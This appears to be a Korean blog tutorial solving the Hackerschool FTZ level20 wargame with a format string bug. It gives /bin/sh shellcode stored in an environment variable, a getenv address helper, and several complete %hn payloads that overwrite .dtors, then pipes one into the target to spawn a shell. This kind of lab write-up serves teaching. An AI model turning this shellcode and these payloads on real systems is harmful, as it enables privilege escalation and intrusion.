System/Linux

포맷 스트링 버그 - FSB (Format String Bug) 기본 연습하기

bbolmin 2012. 5. 2. 00:46

포맷 스트링 버그

 

해커 스쿨의 ftz level20 포맷 스트링 버그 문제를 풀면서 연습을 해보겠습니다.

 

먼저 포맷 스트링 버그의 원리에 대해서는 아래 블로그를  참고하세요.

http://geundi.tistory.com/133


 

그럼 ftz의 level20문제를 풀어보겠습니다.

 

일단 문제를 출력해보면 printf에서 포맷 스트링 버그가 있다는 것을 알 수 있습니다.

그럼 포맷 스트링 공격을 시도해봅시다.

 

 

1. 먼저 shellcode를 환경 변수에 넣어 줍니다. 

export CODE=`perl -e 'print "\x90"x100, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90"x16'`


 

2. 쉘코드가 있는 환경 변수(CODE)의 주소 값을 구합니다. 

 

환경 변수 CODE의 주소 값은 0xbfffff14가 됩니다. env프로그램은 getenv()함수를 사용하여 주소값을 출력해주는 프로그램입니다.

#include <stdio.h>

int main(int argc, char *argv[])
{
 printf("address : %x\n", getenv(argv[1]));
 return 0;
}

 

 

3. 덮어쓸 영역(.dtors)의 주소 값을 구해줍니다.  

덮어쓸 영역의 주소 값은 0x8049594+4 ->0x8049598 가 됩니다.

 

 

4. %x를 넣어 4byte올라가면서 입력받은 data가 들어가는 버퍼까지 도달하는 거리를 구해봅니다.    (덮어쓸 .dtors의 주소값이 버퍼에 저장되어 있으므로)

 

 

CODE의 주소 값 : 0xbfffff14

dtors의 주소 값 : 0x8049598

필요한 %x의 개수 : 4개


 

이제 공격 코드를 완성시켜보면

 

aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%8x%65260c%hn%49387c%hn가 됩니다.

(0xbfffff14에서 65260와 49387이 나온 이유는 맨 위의 참고 블로그를 봐주세요 )

[*] 0x804959a, 0x8049598 순서로 bfff, ff14를 넣는 것도 가능함. ( 단 %n이 아닌 %hn을 사용한다면)

 

 

그럼 아래 명령어로 공격을 시도해보면 ~

(perl -e 'print "aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%8x%65260c%hn%49387c%hn"'; cat) | ./attackme

 

공격에  성공했습니다.

 

 

포맷스트링의 원리는 위와 같으므로 공격 코드는 여러 모양으로 만들 수 있습니다.

- \x98\x95\x04\x08aaaa\x9a\x95\x04\x08%8x%8x%65264c%hn%49387c%hn

(4번째 %x가 버퍼에 도달한것을 알았으므로 처음의 aaaa를 빼버렸음.)

 

또는 아래처럼 $-flag을 이용해 %x~ 없이 바로 접근할 수도 있습니다. 

- aaaa\x98\x95\x04\x08aaaa\x9a\x95\x04\x08%65284c%5\$hn%49387c%7\$hn

           ------5번째-----          ------7번째----- 

 

- \x98\x95\x04\x08\x9a\x95\x04\x08%65292c%4\$hn%49387c%5\$hn

   ------4번째------    ------5번째-----